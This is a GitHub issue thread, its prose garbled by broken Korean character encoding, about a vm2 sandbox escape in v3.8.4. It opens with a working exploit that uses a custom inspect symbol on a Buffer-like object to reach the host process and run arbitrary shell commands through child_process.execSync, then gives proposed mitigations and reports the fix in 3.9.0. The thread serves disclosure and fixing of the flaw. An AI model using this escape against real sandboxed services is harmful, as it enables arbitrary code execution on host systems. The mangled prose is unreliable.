λ€μ μ½λλ₯Ό μ¬μ©νμ¬ vmμ μ΄μ€μΌμ΄ννκ³ μλ₯Ό λ€μ΄ μμμ λͺ
λ Ήμ μ€νν μ μμ΅λλ€.
μ¬κΈ° # 187μμ μ΄λ―Έλ³΄κ³ λμμ§λ§ 13.6.0 λ° vm2 v3.8.4 λ
Έλμμ κ³μ μλν©λλ€.
const {VM} = require('vm2');
const vm = new VM({
wasm: false,
timeout: 2000,
sandbox: {},
eval: false,
});
const malicious = '(' + function(){
try { require('child_process').execSync("idea") } catch(e){} // Not getting executed
let buffer = {
hexSlice: () => "",
magic: {
get [Symbol.for("nodejs.util.inspect.custom")](){
throw f => f.constructor("return process")();
}
}
};
try{
Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
}catch(e){
e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
}
}+')()';
vm.run(malicious)
@patriksimek μ΄ λ¬Έμ λ masterμμ μμ λμμ§λ§ λ²μ 3.8.4 μ΄ν μΈ https://github.com/patriksimek/vm2/pull/242 μ ν¨κ» μμ λμμ΅λλ€. λ°λΌμ mpnμλμ΄ μμ μ¬νμ΄ μμ΅λλ€.
μ΄κ²μ v3.8.5κ° λμ¬ λκΉμ§ μ΄λ € μμ΅λλ€.
ETAκ° μμ΅λκΉ?
@ jan-osch @patriksimek μ΄ λ§€μ° λΉνμ± μΈ κ² κ°μμ λͺ¨λ₯΄κ² μ΅λλ€.
@XmiliaH κ·νμ λ΅λ³κ³Ό λͺ¨λ κΈ°μ¬μ κ°μ¬λ립λλ€!
μ΄λ¬ν μμμ΄ ν¨μΉ ν΄κ²° λ°©λ²μ΄ μ λ°μ΄νΈ λ λ²μ μ΄ κ²μ λ λκΉμ§ μΉ¨μ μ λ°©μ§ ν κ²μ΄λΌκ³ μκ°νμλκΉ?
const vm = new NodeVM({
console: 'off',
sandbox: {
console: consoleInterface,
setTimeout,
print,
// TODO remove once vm2 fixed the breakout issue
// Reference: https://github.com/patriksimek/vm2/issues/268
Buffer: {
...Buffer,
prototype: new Proxy(Buffer.prototype, {
get(object, property) {
if (property === 'inspect') {
return () => {
console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
consoleInterface.error('Nice try! This breakout attempt will be reported');
};
}
return object[property];
},
}),
},
},
require: { // here define modules that can be required
builtin: [
// some list
],
external: [
//...
],
},
});
return vm.run(code, SCRIPT_PATH);
@ jan-osch 그건 μ’μ μνΌμ΄ μλλλ€.
1) [Symbol.for ( "nodejs.util.inspect.custom")] ν€λ₯Ό μμ΄ λ²λ Έμ΅λλ€.
2) νΈμ€νΈ λ²νΌμ νλ‘ν νμ
μ μΈ μ μμ΅λλ€.
3) λ¬Έμ λ console.log λμ΄ λ¬Έμ λ₯Ό μ λ°νκ³ μ루μ
μ΄ κ·Έκ²μ λν΄ μ무κ²λνμ§ μλλ€λ κ²μ
λλ€.
λΆννλ μ¬μ΄ ν΄κ²°μ± μ μμ΅λλ€.
λ€μμ ν μ€νΈκ° μ λλ‘ μ΄λ£¨μ΄μ§μ§ μμ μΌμμ μΈ ν΄ν€ μμ μ λλ€.
function hacky_fix(vm) {
const internal = vm._internal;
const old = internal.Decontextify.object;
const handler = {__proto__: null};
internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
const value = old(object, traps, deepTraps, flags, mock);
const better = new Proxy(value, handler);
internal.Decontextify.proxies.set(object, better);
internal.Contextify.proxies.set(better, object);
return better;
};
}
λ΄λΆ κΈ°λ₯μ ν¨μΉνλ―λ‘μ£Όμν΄μ μ¬μ©νμμμ€.
@XmiliaH κ°μ¬ν©λλ€! κ·Έλ¬ν λΈλ μ΄ν¬ μμ μ¬λ‘μ λν ν μ€νΈ μ€μνΈκ°μλ νλ‘μ νΈλ₯Ό μκ³ μμ΅λκΉ? μ‘°κΈ° 경보 μμ€ν μΌλ‘ CIμ λͺ κ°μ§ λΈλ μ΄ν¬ μμ ν μ€νΈλ₯Ό μΆκ°νκ³ μΆμ΅λλ€.
test / vm.jsμ λͺ κ°μ§ ν μ€νΈ μΌμ΄μ€κ° μμ΅λλ€. 곡격μ κ²μνλ©΄ μ¬κ±΄μ μ°Ύμ μ μμ΅λλ€.
μΉκ·Όν μλ¦Ό @patriksimek μ μ λ²μ μ μΆμ ν μ μλ€λ©΄
@mxschmitt λ°©κΈ 3.9.0μΌλ‘ μΆμλμμ΅λλ€. μ§μ°λμ΄ μ£μ‘ν©λλ€.
κ°μ₯ μ μ©ν λκΈ
@mxschmitt λ°©κΈ 3.9.0μΌλ‘ μΆμλμμ΅λλ€. μ§μ°λμ΄ μ£μ‘ν©λλ€.